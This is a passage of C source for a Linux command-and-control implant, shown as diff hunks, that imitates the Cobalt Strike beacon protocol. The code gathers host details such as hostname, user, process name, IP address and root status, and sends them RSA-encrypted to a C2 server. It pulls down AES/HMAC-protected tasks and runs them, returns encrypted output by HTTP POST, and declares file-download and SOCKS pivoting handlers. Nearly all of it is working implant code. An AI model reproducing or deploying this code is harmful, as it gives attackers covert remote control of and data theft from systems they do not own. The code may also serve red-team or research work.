extern unsigned int BEACON_PUBLIC_KEY_LEN;
|
||||
|
||||
#endif // CONFIG_H
|
||||
@@ -0,0 +1,27 @@
|
||||
#ifndef CRYPTO_H
|
||||
#define CRYPTO_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// RSA encryption
|
||||
int crypto_rsa_encrypt(const uint8_t *plaintext, size_t plaintext_len,
|
||||
uint8_t *ciphertext, size_t *ciphertext_len);
|
||||
|
||||
// AES encryption/decryption
|
||||
int crypto_aes_encrypt(const uint8_t *key, const uint8_t *iv,
|
||||
const uint8_t *plaintext, size_t plaintext_len,
|
||||
uint8_t *ciphertext, size_t *ciphertext_len);
|
||||
|
||||
int crypto_aes_decrypt(const uint8_t *key, const uint8_t *iv,
|
||||
const uint8_t *ciphertext, size_t ciphertext_len,
|
||||
uint8_t *plaintext, size_t *plaintext_len);
|
||||
|
||||
// Base64 encoding (for Cookie header)
|
||||
char* base64_encode(const uint8_t *data, size_t len);
|
||||
uint8_t* base64_decode(const char *data, size_t *out_len);
|
||||
|
||||
// Random data generation
|
||||
void crypto_random_bytes(uint8_t *buffer, size_t len);
|
||||
|
||||
#endif // CRYPTO_H
|
||||
@@ -0,0 +1,55 @@
|
||||
#ifndef DEBUG_H
|
||||
#define DEBUG_H
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
// Debug printing macros
|
||||
// Compile with -DDEBUG to enable debug output
|
||||
// Example: gcc -DDEBUG myfile.c -o myprogram
|
||||
|
||||
#ifdef DEBUG
|
||||
// Debug print with automatic [DEBUG] prefix
|
||||
#define DEBUG_PRINT(fmt, ...) printf("[DEBUG] " fmt, ##__VA_ARGS__)
|
||||
|
||||
// Debug print for hex dumps
|
||||
#define DEBUG_HEX(label, data, len) do { \
|
||||
printf("[DEBUG] %s: ", label); \
|
||||
for(size_t _i = 0; _i < (len); _i++) { \
|
||||
printf("%02x", ((uint8_t*)(data))[_i]); \
|
||||
if ((_i + 1) % 32 == 0 && (_i + 1) < (len)) { \
|
||||
printf("\n[DEBUG] "); \
|
||||
} \
|
||||
} \
|
||||
printf("\n"); \
|
||||
} while(0)
|
||||
|
||||
// Debug print for hex dumps with spaces
|
||||
#define DEBUG_HEX_SPACED(label, data, len) do { \
|
||||
printf("[DEBUG] %s: ", label); \
|
||||
for(size_t _i = 0; _i < (len); _i++) { \
|
||||
printf("%02x ", ((uint8_t*)(data))[_i]); \
|
||||
if ((_i + 1) % 16 == 0 && (_i + 1) < (len)) { \
|
||||
printf("\n[DEBUG] "); \
|
||||
} \
|
||||
} \
|
||||
printf("\n"); \
|
||||
} while(0)
|
||||
|
||||
// Info messages (always printed)
|
||||
#define INFO_PRINT(fmt, ...) printf("[*] " fmt, ##__VA_ARGS__)
|
||||
|
||||
// Error messages (always printed)
|
||||
#define ERROR_PRINT(fmt, ...) fprintf(stderr, "[!] " fmt, ##__VA_ARGS__)
|
||||
|
||||
#else
|
||||
// No-op when DEBUG is not defined
|
||||
#define DEBUG_PRINT(fmt, ...)
|
||||
#define DEBUG_HEX(label, data, len)
|
||||
#define DEBUG_HEX_SPACED(label, data, len)
|
||||
#define INFO_PRINT(fmt, ...)
|
||||
#define ERROR_PRINT(fmt, ...)
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // DEBUG_H
|
||||
@@ -0,0 +1,11 @@
|
||||
#ifndef FILES_H_
|
||||
#define FILES_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
void command_download(const uint8_t *data, size_t data_len);
|
||||
void command_download_stop(const uint8_t *data, size_t data_len);
|
||||
void download_poll();
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,22 @@
|
||||
#ifndef HTTP_H
|
||||
#define HTTP_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// HTTP request/response
|
||||
typedef struct {
|
||||
char *data;
|
||||
size_t size;
|
||||
} http_response_t;
|
||||
|
||||
// Send HTTP GET request (for initial metadata)
|
||||
int http_get(const char *uri, const uint8_t *metadata, size_t metadata_len, http_response_t *response);
|
||||
|
||||
// Send HTTP POST request (for task output)
|
||||
int http_post(const char *uri, const uint8_t *data, size_t data_len, const char *session_id, http_response_t *response);
|
||||
|
||||
// Free HTTP response
|
||||
void http_response_free(http_response_t *response);
|
||||
|
||||
#endif // HTTP_H
|
||||
@@ -0,0 +1,42 @@
|
||||
#ifndef PIVOT_H
|
||||
#define PIVOT_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#define SOCKET_READ_MAX 1048576
|
||||
|
||||
#define STATE_DEAD 0
|
||||
#define STATE_READ 1
|
||||
#define STATE_CONNECT 2
|
||||
|
||||
#define LISTEN_NOTREALLY 0
|
||||
#define LISTEN_ONEOFF 1
|
||||
|
||||
// Callback function type for sending data back to C2
|
||||
typedef void (*pivot_callback)(const char * buffer, int length, int type);
|
||||
|
||||
typedef struct socket_entry {
|
||||
uint32_t id;
|
||||
int state;
|
||||
int socket;
|
||||
uint32_t ltype;
|
||||
uint16_t lport;
|
||||
uint64_t start_time;
|
||||
uint32_t timeout;
|
||||
uint64_t linger_time;
|
||||
struct socket_entry * next;
|
||||
} socket_entry_t;
|
||||
|
||||
// Public Functions
|
||||
void pivot_init();
|
||||
void pivot_poll(pivot_callback callback);
|
||||
void pivot_cleanup();
|
||||
|
||||
// Command Handlers
|
||||
void command_listen_socks(const uint8_t * buffer, int length, pivot_callback callback);
|
||||
void command_connect_socks(const uint8_t * buffer, int length, pivot_callback callback);
|
||||
void command_send_socks(const uint8_t * buffer, int length);
|
||||
void command_close_socks(const uint8_t * buffer, int length);
|
||||
|
||||
#endif // PIVOT_H
|
||||
@@ -0,0 +1,662 @@
|
||||
// (keeping imports the same)
|
||||
#include "beacon.h"
|
||||
#include "crypto.h"
|
||||
#include "http.h"
|
||||
#include "commands.h"
|
||||
#include "config.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <time.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <openssl/sha.h>
|
||||
#include <openssl/hmac.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <net/if.h>
|
||||
#include <ifaddrs.h>
|
||||
#include "debug.h"
|
||||
|
||||
// Global sleep configuration (extern from main.c)
|
||||
extern int g_sleep_time_ms;
|
||||
extern int g_jitter_percent;
|
||||
|
||||
// Define the RSA public key here (declared as extern in config.h)
|
||||
unsigned char BEACON_PUBLIC_KEY[256] = "\x30";
|
||||
|
||||
unsigned int BEACON_PUBLIC_KEY_LEN = 256;
|
||||
|
||||
// Metadata flags
|
||||
#define METADATA_FLAG_AGENT_X64 2
|
||||
#define METADATA_FLAG_TARGET_X64 4
|
||||
#define METADATA_FLAG_ADMIN 8
|
||||
|
||||
#define HMAC_SIZE 16
|
||||
|
||||
// Get local IP address (non-loopback interface)
|
||||
uint32_t beacon_get_local_ip()
|
||||
{
|
||||
struct ifaddrs *ifaddr, *ifa;
|
||||
uint32_t ip = 0;
|
||||
|
||||
if (getifaddrs(&ifaddr) == -1) {
|
||||
return 0x0100007f; // Fallback to 127.0.0.1 in LITTLE endian
|
||||
}
|
||||
|
||||
for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
|
||||
if (ifa->ifa_addr == NULL)
|
||||
continue;
|
||||
|
||||
// Check for IPv4 address
|
||||
if (ifa->ifa_addr->sa_family == AF_INET) {
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)ifa->ifa_addr;
|
||||
uint32_t test_ip = addr->sin_addr.s_addr;
|
||||
|
||||
// Skip loopback (127.x.x.x)
|
||||
uint8_t first_octet = test_ip & 0xFF;
|
||||
if (first_octet == 127)
|
||||
continue;
|
||||
|
||||
// Skip link-local (169.254.x.x)
|
||||
if (first_octet == 169 && ((test_ip >> 8) & 0xFF) == 254)
|
||||
continue;
|
||||
|
||||
// Found a good IP - already in correct byte order (little endian)
|
||||
ip = test_ip;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
freeifaddrs(ifaddr);
|
||||
|
||||
// If no IP found, use 127.0.0.1 in little endian
|
||||
if (ip == 0) {
|
||||
ip = 0x0100007f;
|
||||
}
|
||||
|
||||
return ip;
|
||||
}
|
||||
|
||||
// Generate random agent ID
|
||||
uint32_t rand32(void) {
|
||||
return ((uint32_t)rand() << 16) ^ rand();
|
||||
}
|
||||
|
||||
int beacon_init(beacon_state_t *state) {
|
||||
memset(state, 0, sizeof(beacon_state_t));
|
||||
|
||||
// Generate random 16-byte session key (raw key, will be hashed to derive AES/HMAC keys)
|
||||
crypto_random_bytes((uint8_t*)state->session_key, 16);
|
||||
|
||||
// Fixed IV as per Cobalt Strike: "abcdefghijklmnop"
|
||||
memcpy(state->aes_iv, "abcdefghijklmnop", 16);
|
||||
|
||||
// Derive AES key and HMAC key from session key using SHA256
|
||||
unsigned char key_material[32]; // SHA256 produces 32 bytes
|
||||
SHA256((unsigned char*)state->session_key, 16, key_material);
|
||||
|
||||
// First 16 bytes = AES key, next 16 bytes = HMAC key
|
||||
memcpy(state->aes_key, key_material, 16);
|
||||
memcpy(state->hmac_key, key_material + 16, 16);
|
||||
|
||||
srand(time(NULL) ^ getpid());
|
||||
int32_t id = rand32() & 0x7FFFFFFF & ~1; // Unset the Least Significant Bit to be 0 so it's marked as a Windows Beacon and not SSH
|
||||
state->agent_id = id;
|
||||
|
||||
state->connected = 0;
|
||||
state->pending_tasks = NULL;
|
||||
state->tasks_len = 0;
|
||||
state->last_server_time = 0;
|
||||
state->upload_counter = 0;
|
||||
state->output_buffer = NULL;
|
||||
state->output_len = 0;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint8_t* beacon_generate_metadata(beacon_state_t *state, size_t *out_len)
|
||||
{
|
||||
// View the metadata of the beacon: python3 cs-decrypt-metadata.py -f .cobaltstrike.beacon_keys "<ENCRYPTED METADATA COOKIE>"
|
||||
// Metadata format:
|
||||
// [4 bytes] Magic number (0x0000BEEF) - BIG ENDIAN
|
||||
// [4 bytes] Length of metadata (excluding 8-byte header) - BIG ENDIAN
|
||||
// [16 bytes] Session ID/AES key (raw bytes, no conversion)
|
||||
// [2 bytes] ANSI charset (1252) - LITTLE ENDIAN
|
||||
// [2 bytes] OEM charset (437) - LITTLE ENDIAN
|
||||
// [4 bytes] Agent ID - BIG ENDIAN
|
||||
// [4 bytes] Process ID - BIG ENDIAN
|
||||
// [2 bytes] Port (0 for non-SSH) - BIG ENDIAN
|
||||
// [1 byte] Flags
|
||||
// [1 byte] Major OS version
|
||||
// [1 byte] Minor OS version
|
||||
// [2 bytes] Build number - BIG ENDIAN
|
||||
// [4 bytes] GetProcAddress HIGH (Can be set to 0) - BIG ENDIAN
|
||||
// [4 bytes] GetModuleHandleA LOW (Can be set to 0) - BIG ENDIAN
|
||||
// [4 bytes] GetProcAddress LOW (Can be set to 0) - BIG ENDIAN
|
||||
// [4 bytes] Local IP address - LITTLE ENDIAN (raw from sockaddr)
|
||||
// [variable] Tab-delimited: computer\tuser\tprocessname (max 58 bytes)
|
||||
|
||||
uint8_t *metadata = malloc(256);
|
||||
if (!metadata) return NULL;
|
||||
|
||||
size_t offset = 0;
|
||||
|
||||
// Reserve space for magic number and length (will fill in later)
|
||||
offset = 8;
|
||||
|
||||
// Session key (16 bytes) - raw bytes, no byte order conversion
|
||||
memcpy(metadata + offset, state->session_key, 16);
|
||||
offset += 16;
|
||||
|
||||
// ANSI charset (1252 = 0x04E4) - LITTLE ENDIAN
|
||||
metadata[offset++] = 0xE4;
|
||||
metadata[offset++] = 0x04;
|
||||
|
||||
// OEM charset (437 = 0x01B5) - LITTLE ENDIAN
|
||||
metadata[offset++] = 0xB5;
|
||||
metadata[offset++] = 0x01;
|
||||
|
||||
// Agent ID (4 bytes) - BIG ENDIAN
|
||||
uint32_t agent_id_be = htonl(state->agent_id);
|
||||
memcpy(metadata + offset, &agent_id_be, 4);
|
||||
offset += 4;
|
||||
|
||||
// Process ID (4 bytes) - BIG ENDIAN
|
||||
uint32_t pid = getpid();
|
||||
uint32_t pid_be = htonl(pid);
|
||||
memcpy(metadata + offset, &pid_be, 4);
|
||||
offset += 4;
|
||||
|
||||
// Port (2 bytes) - BIG ENDIAN
|
||||
uint16_t port = htons(0);
|
||||
memcpy(metadata + offset, &port, 2);
|
||||
offset += 2;
|
||||
|
||||
// Flags (1 byte) - Don't set METADATA_FLAG_NOTHING (value 1) for 64-bit beacons
|
||||
uint8_t flags = 0;
|
||||
if (sizeof(void*) == 8) {
|
||||
flags |= METADATA_FLAG_AGENT_X64;
|
||||
flags |= METADATA_FLAG_TARGET_X64;
|
||||
}
|
||||
// Check if root/admin
|
||||
if (geteuid() == 0) {
|
||||
flags |= METADATA_FLAG_ADMIN;
|
||||
}
|
||||
metadata[offset++] = flags;
|
||||
|
||||
// OS Version info
|
||||
struct utsname uts;
|
||||
uname(&uts);
|
||||
|
||||
/*
|
||||
struct utsname {
|
||||
char sysname[]; // Operating system name (e.g., "Linux")
|
||||
char nodename[]; // Hostname
|
||||
char release[]; // OS release (e.g., "5.15.0")
|
||||
char version[]; // OS version
|
||||
char machine[]; // Hardware identifier (e.g., "x86_64")
|
||||
};
|
||||
*/
|
||||
|
||||
// Parse Linux kernel version (e.g., "5.15.0")
|
||||
int major = 0, minor = 0, build = 0;
|
||||
sscanf(uts.release, "%d.%d.%d", &major, &minor, &build);
|
||||
|
||||
metadata[offset++] = (uint8_t)major; // Major version (1 byte) (var1)
|
||||
metadata[offset++] = (uint8_t)minor; // Minor version (1 byte) (var2)
|
||||
|
||||
uint16_t build_num = htons((uint16_t)9200); // Build number (2 bytes) - BIG ENDIAN (var3)
|
||||
memcpy(metadata + offset, &build_num, 2);
|
||||
offset += 2;
|
||||
|
||||
|
||||
uint16_t var4 = htonl((uint16_t)0x7ffc);
|
||||
memcpy(metadata + offset, &var4, 4); // var4
|
||||
offset += 4;
|
||||
|
||||
uint16_t var5 = htons((uint16_t)0xfae2f3f0);
|
||||
memcpy(metadata + offset, &var5, 4); // var5
|
||||
offset += 4;
|
||||
|
||||
uint16_t var6 = htons((uint16_t)0xfae2b200);
|
||||
memcpy(metadata + offset, &var6, 4); // var6
|
||||
offset += 4;
|
||||
|
||||
//(VAR 7)
|
||||
// Local IP address (4 bytes) - BIG ENDIAN
|
||||
// sin_addr.s_addr is in network byte order (big endian on wire, stored as uint32 in host order)
|
||||
// We need to store it as BIG endian in metadata
|
||||
uint32_t local_ip = beacon_get_local_ip();
|
||||
uint32_t local_ip_be = htonl(local_ip);
|
||||
memcpy(metadata + offset, &local_ip_be, 4);
|
||||
offset += 4;
|
||||
|
||||
// Tab-delimited metadata string: computer\tuser\tprocessname
|
||||
// Maximum 58 bytes as per Cobalt Strike source
|
||||
char info_str[128];
|
||||
const char *user = getenv("USER");
|
||||
if (!user) user = "unknown";
|
||||
|
||||
char procname[32] = { 0 };
|
||||
FILE* fileptr = fopen("/proc/self/status", "r");
|
||||
if (fileptr == NULL)
|
||||
{
|
||||
snprintf(procname, sizeof(procname), "linuxbeacon");
|
||||
}
|
||||
else
|
||||
{
|
||||
char tmp[40];
|
||||
if (fgets(tmp, sizeof(tmp), fileptr))
|
||||
{
|
||||
sscanf(tmp, "Name:%31s", procname);
|
||||
}
|
||||
|
||||
fclose(fileptr);
|
||||
}
|
||||
|
||||
int info_len = snprintf(info_str, sizeof(info_str), "%s\t%s\t%s", uts.nodename, user, procname);
|
||||
|
||||
// Truncate to 58 bytes if necessary
|
||||
if (info_len > 58) {
|
||||
info_len = 58;
|
||||
}
|
||||
|
||||
memcpy(metadata + offset, info_str, info_len);
|
||||
offset += info_len;
|
||||
|
||||
// Now fill in the header (magic number and length)
|
||||
// Magic number (0x0000BEEF) in network byte order (big-endian)
|
||||
uint32_t magic = htonl(0x0000BEEF);
|
||||
memcpy(metadata, &magic, 4);
|
||||
|
||||
// Length of metadata (excluding the 8-byte header) in network byte order
|
||||
uint32_t data_len = htonl(offset - 8);
|
||||
memcpy(metadata + 4, &data_len, 4);
|
||||
|
||||
*out_len = offset;
|
||||
|
||||
return metadata;
|
||||
}
|
||||
|
||||
int beacon_decrypt_tasks(beacon_state_t *state, const uint8_t *ciphertext, size_t ciphertext_len, uint8_t **plaintext_out, size_t *plaintext_len_out)
|
||||
{
|
||||
// Decrypt tasks from server
|
||||
// [counter:4][length:4][data][HMAC:16] - all encrypted except HMAC
|
||||
|
||||
// Minimum size check
|
||||
if (ciphertext_len <= HMAC_SIZE)
|
||||
{
|
||||
DEBUG_PRINT("Ciphertext too small: %zu bytes\n", ciphertext_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Must be multiple of 16 (AES block size)
|
||||
if ((ciphertext_len % 16) != 0)
|
||||
{
|
||||
DEBUG_PRINT("Ciphertext not aligned to 16 bytes\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Extract and verify HMAC
|
||||
size_t encrypted_len = ciphertext_len - HMAC_SIZE;
|
||||
const uint8_t *hmac_received = ciphertext + encrypted_len;
|
||||
|
||||
unsigned char hmac_calculated[EVP_MAX_MD_SIZE];
|
||||
unsigned int hmac_len = 0;
|
||||
|
||||
DEBUG_HEX("HMAC Key", state->hmac_key, 16);
|
||||
|
||||
HMAC(EVP_sha256(), state->hmac_key, 16, ciphertext, encrypted_len, hmac_calculated, &hmac_len);
|
||||
|
||||
DEBUG_HEX("HMAC received", hmac_received, HMAC_SIZE);
|
||||
|
||||
DEBUG_HEX("HMAC calculated", hmac_calculated, HMAC_SIZE);
|
||||
|
||||
if (memcmp(hmac_received, hmac_calculated, HMAC_SIZE) != 0)
|
||||
{
|
||||
DEBUG_PRINT("HMAC verification failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
DEBUG_PRINT("HMAC verification passed!\n");
|
||||
|
||||
DEBUG_PRINT("About to decrypt %zu bytes\n", encrypted_len);
|
||||
|
||||
DEBUG_HEX("AES Key", state->aes_key, 16);
|
||||
|
||||
DEBUG_HEX("AES IV", state->aes_iv, 16);
|
||||
|
||||
DEBUG_HEX("Ciphertext (first 32 bytes)", ciphertext, 32);
|
||||
|
||||
// Make a copy of IV for decryption (EVP functions may modify it)
|
||||
uint8_t iv_copy[16];
|
||||
memcpy(iv_copy, state->aes_iv, 16);
|
||||
|
||||
// Decrypt the data (counter + length + actual data)
|
||||
uint8_t *decrypted = malloc(encrypted_len);
|
||||
size_t decrypted_len = encrypted_len;
|
||||
|
||||
if (crypto_aes_decrypt(state->aes_key, iv_copy, ciphertext, encrypted_len, decrypted, &decrypted_len) != 0)
|
||||
{
|
||||
DEBUG_PRINT("AES decryption failed\n");
|
||||
free(decrypted);
|
||||
return -1;
|
||||
}
|
||||
|
||||
DEBUG_PRINT("Decrypted %zu bytes\n", decrypted_len);
|
||||
|
||||
DEBUG_HEX("Decrypted bytes (first 32 bytes)", decrypted, 32);
|
||||
|
||||
// Parse counter and length
|
||||
if (decrypted_len < 8)
|
||||
{
|
||||
DEBUG_PRINT("Decrypted data too small\n");
|
||||
free(decrypted);
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint32_t counter = ntohl(*((uint32_t*)decrypted));
|
||||
uint32_t data_len = ntohl(*((uint32_t*)(decrypted + 4)));
|
||||
|
||||
DEBUG_PRINT("Counter: %u, Data length: %u\n", counter, data_len);
|
||||
|
||||
// The "counter" from the server is actually a Unix timestamp. The original Windows beacon
|
||||
// uses a large tolerance (1 hour) to prevent replay errors caused by clock drift or
|
||||
// asynchronous C2 channels (like DNS) where message order isn't guaranteed.
|
||||
// A check is added to ensure the received timestamp isn't unreasonably old.
|
||||
// We only perform this check if last_server_time has been initialized (is > 0).
|
||||
if (state->last_server_time > 0 && (counter + 3600) < state->last_server_time)
|
||||
{
|
||||
DEBUG_PRINT("Counter replay detected (current: %u, last: %u, tolerance: 3600)\n", counter, state->last_server_time);
|
||||
free(decrypted);
|
||||
return -1;
|
||||
}
|
||||
// Update the last seen server time with the current timestamp.
|
||||
state->last_server_time = counter;
|
||||
|
||||
// Verify data length
|
||||
if (data_len == 0 || data_len > (decrypted_len - 8))
|
||||
{
|
||||
DEBUG_PRINT("Invalid data length\n");
|
||||
free(decrypted);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Extract the actual task data
|
||||
*plaintext_out = malloc(data_len);
|
||||
memcpy(*plaintext_out, decrypted + 8, data_len);
|
||||
*plaintext_len_out = data_len;
|
||||
|
||||
free(decrypted);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int beacon_checkin(beacon_state_t *state)
|
||||
{
|
||||
/* GET Response format:
|
||||
|
||||
ENCRYPTED PORTION:
|
||||
[4 bytes] Counter
|
||||
[4 bytes] Length of entire task data
|
||||
[N bytes] Full Task Data
|
||||
TASK 1
|
||||
[4 bytes] Command ID
|
||||
[4 bytes] Length of command-specific data
|
||||
[N bytes] Command specific data
|
||||
TASK 2
|
||||
[4 bytes] Command ID (COMMAND_SLEEP)
|
||||
[4 bytes] Length of command-specific data (8)
|
||||
[8 bytes] Command specific data (5000ms - 4 bytes, 10% jitter - 4 bytes)
|
||||
Task 3
|
||||
[4 bytes] Command ID (COMMAND_PWD)
|
||||
[4 bytes] Length of command-specific data (0)
|
||||
[N bytes] Command specific data (0)
|
||||
|
||||
[16 bytes] HMAC (NOT ENCRYPTED)
|
||||
*/
|
||||
|
||||
// Generate metadata
|
||||
size_t metadata_len;
|
||||
uint8_t *metadata = beacon_generate_metadata(state, &metadata_len);
|
||||
if (!metadata) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
//DEBUG_HEX("Session key (raw)", state->session_key, 16);
|
||||
|
||||
//DEBUG_HEX("AES key (derived)", state->aes_key, 16);
|
||||
|
||||
// RSA encrypt the metadata
|
||||
uint8_t encrypted_metadata[256];
|
||||
size_t encrypted_len = 256;
|
||||
|
||||
if (crypto_rsa_encrypt(metadata, metadata_len, encrypted_metadata, &encrypted_len) != 0)
|
||||
{
|
||||
ERROR_PRINT("Failed to RSA encrypt metadata\n");
|
||||
free(metadata);
|
||||
return -1;
|
||||
}
|
||||
|
||||
//DEBUG_PRINT("RSA encrypted metadata size: %zu bytes\n", encrypted_len);
|
||||
|
||||
// Send encrypted metadata via HTTP GET
|
||||
http_response_t response;
|
||||
if (http_get(HTTP_GET_URI, encrypted_metadata, encrypted_len, &response) != 0)
|
||||
{
|
||||
free(metadata);
|
||||
return -1;
|
||||
}
|
||||
|
||||
free(metadata);
|
||||
|
||||
// If server sent tasks back, decrypt and process them
|
||||
if (response.data && response.size > 0)
|
||||
{
|
||||
DEBUG_PRINT("Received response: %zu bytes\n", response.size);
|
||||
|
||||
uint8_t* task_data = NULL;
|
||||
size_t task_len = 0;
|
||||
|
||||
if (beacon_decrypt_tasks(state, (uint8_t*)response.data, response.size, &task_data, &task_len) == 0)
|
||||
{
|
||||
DEBUG_PRINT("Decrypted task: %zu bytes\n", task_len);
|
||||
|
||||
// Parse and execute commands, sends JUST the full task data
|
||||
commands_parse_tasks(task_data, task_len);
|
||||
|
||||
free(task_data);
|
||||
}
|
||||
else
|
||||
{
|
||||
DEBUG_PRINT("Failed to decrypt tasks\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//DEBUG_PRINT("No response data from server\n");
|
||||
}
|
||||
|
||||
http_response_free(&response);
|
||||
state->connected = 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int beacon_send_output(beacon_state_t *state, const char *output, size_t len)
|
||||
{
|
||||
// This function sends task output (callbacks) to the C2 server.
|
||||
|
||||
// The final packet format sent via POST is:
|
||||
// [Total Length: 4 bytes] [ENCRYPTED DATA] [HMAC: 16 bytes]
|
||||
|
||||
// The structure of the [ENCRYPTED DATA] is:
|
||||
// [Counter: 4 bytes] [Data Size: 4 bytes] [Type: 4 bytes] [Task Data: N bytes]
|
||||
//
|
||||
// - The Total Length is unencrypted (big-endian) and equals the size of [ENCRYPTED DATA] + [HMAC].
|
||||
// - The HMAC is calculated over the [ENCRYPTED DATA] portion.
|
||||
|
||||
// For this client-to-server direction, the 'Counter' is a simple incrementing integer.
|
||||
state->upload_counter++;
|
||||
uint32_t counter_be = htonl(state->upload_counter);
|
||||
uint32_t length_be = htonl((uint32_t)len); // This is the total packet length (type + data)
|
||||
|
||||
// Parse the callback type from the output data
|
||||
// Output format from commands.c: [4 bytes: callback type][actual data]
|
||||
uint32_t callback_type = 0;
|
||||
const char *actual_data = output;
|
||||
size_t actual_data_len = len;
|
||||
|
||||
if (len >= 4) {
|
||||
callback_type = ntohl(*(uint32_t*)output);
|
||||
actual_data = output + 4;
|
||||
actual_data_len = len - 4;
|
||||
}
|
||||
|
||||
uint32_t type_be = htonl(callback_type);
|
||||
|
||||
size_t plaintext_size = 12 + actual_data_len; // counter(4) + length(4) + type(4) + data
|
||||
uint8_t *plaintext = malloc(plaintext_size);
|
||||
if (!plaintext) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
memcpy(plaintext, &counter_be, 4);
|
||||
memcpy(plaintext + 4, &length_be, 4);
|
||||
memcpy(plaintext + 8, &type_be, 4);
|
||||
memcpy(plaintext + 12, actual_data, actual_data_len);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Sending output: counter=%u, total_length=%zu, type=%u\n", state->upload_counter, len, callback_type);
|
||||
printf("===== PLAINTEXT BREAKDOWN (%zu bytes) =====\n", plaintext_size);
|
||||
printf("[Counter] = %02x %02x %02x %02x (value: %u)\n", plaintext[0], plaintext[1], plaintext[2], plaintext[3], state->upload_counter);
|
||||
printf("[Data Size] = %02x %02x %02x %02x (value: %zu bytes)\n", plaintext[4], plaintext[5], plaintext[6], plaintext[7], len);
|
||||
printf("[Type] = %02x %02x %02x %02x (value: %u)\n", plaintext[8], plaintext[9], plaintext[10], plaintext[11], callback_type);
|
||||
|
||||
|
||||
// Print the actual data content
|
||||
if (actual_data_len > 0)
|
||||
{
|
||||
printf("[Task Data] = ");
|
||||
for(size_t i = 0; i < actual_data_len; i++)
|
||||
{
|
||||
printf("%02x ", plaintext[12 + i]);
|
||||
if ((i + 1) % 16 == 0 && (i + 1) < actual_data_len)
|
||||
{
|
||||
printf("\n ");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
printf("[Task ASCII] = \"");
|
||||
for(size_t i = 0; i < actual_data_len; i++)
|
||||
{
|
||||
char c = plaintext[12 + i];
|
||||
if (c >= 32 && c <= 126)
|
||||
{
|
||||
printf("%c", c);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
printf("\"\n");
|
||||
}
|
||||
printf("==========================================\n");
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
// Make a copy of IV for encryption (EVP functions may modify it)
|
||||
uint8_t iv_copy[16];
|
||||
memcpy(iv_copy, state->aes_iv, 16);
|
||||
|
||||
// Encrypt with AES
|
||||
uint8_t *encrypted = malloc(plaintext_size + 16); // Extra space for padding
|
||||
size_t encrypted_len = plaintext_size + 16;
|
||||
|
||||
if (crypto_aes_encrypt(state->aes_key, iv_copy, plaintext, plaintext_size, encrypted, &encrypted_len) != 0)
|
||||
{
|
||||
free(plaintext);
|
||||
free(encrypted);
|
||||
return -1;
|
||||
}
|
||||
|
||||
free(plaintext);
|
||||
|
||||
DEBUG_PRINT("Encrypted %zu bytes\n", encrypted_len);
|
||||
DEBUG_HEX("Encrypted data (first 32 bytes)", encrypted, 32);
|
||||
|
||||
// Compute HMAC over encrypted data
|
||||
unsigned char hmac[EVP_MAX_MD_SIZE];
|
||||
unsigned int hmac_len = 0;
|
||||
|
||||
HMAC(EVP_sha256(), state->hmac_key, 16, encrypted, encrypted_len, hmac, &hmac_len);
|
||||
|
||||
DEBUG_HEX("HMAC (first 16 bytes)", hmac, 16);
|
||||
|
||||
// Build final packet: [Total Length - UNENCRYPTED][encrypted data][HMAC]
|
||||
// Total length = total packet size minus the 4-byte length field itself
|
||||
// So: encrypted_len + HMAC (16) = everything except the length field
|
||||
uint32_t total_length_be = htonl((uint32_t)(encrypted_len + 16));
|
||||
|
||||
size_t total_len = 4 + encrypted_len + 16; // length(4) + encrypted + HMAC(16)
|
||||
uint8_t *packet = malloc(total_len);
|
||||
if (!packet) {
|
||||
free(encrypted);
|
||||
return -1;
|
||||
}
|
||||
|
||||
memcpy(packet, &total_length_be, 4); // Unencrypted length (first 4 bytes)
|
||||
memcpy(packet + 4, encrypted, encrypted_len); // Encrypted data
|
||||
memcpy(packet + 4 + encrypted_len, hmac, 16); // HMAC
|
||||
|
||||
free(encrypted);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("===== FINAL PACKET STRUCTURE =====\n");
|
||||
printf("[Total Length] = %02x %02x %02x %02x (value: %u bytes, UNENCRYPTED)\n",
|
||||
packet[0], packet[1], packet[2], packet[3], (unsigned int)(encrypted_len + 16));
|
||||
printf("[Encrypted Data] = %zu bytes\n", encrypted_len);
|
||||
printf("[HMAC] = 16 bytes\n");
|
||||
printf("[Total Packet] = %zu bytes (length field + encrypted + HMAC)\n", total_len);
|
||||
#endif
|
||||
|
||||
DEBUG_HEX("Complete packet", packet, total_len);
|
||||
|
||||
// Send via HTTP POST
|
||||
http_response_t response;
|
||||
char session_id[33];
|
||||
snprintf(session_id, sizeof(session_id), "%d", state->agent_id);
|
||||
|
||||
DEBUG_PRINT("Sending POST request with %zu bytes\n", total_len);
|
||||
|
||||
int ret = http_post(HTTP_POST_URI, packet, total_len, session_id, &response);
|
||||
|
||||
free(packet);
|
||||
http_response_free(&response);
|
||||
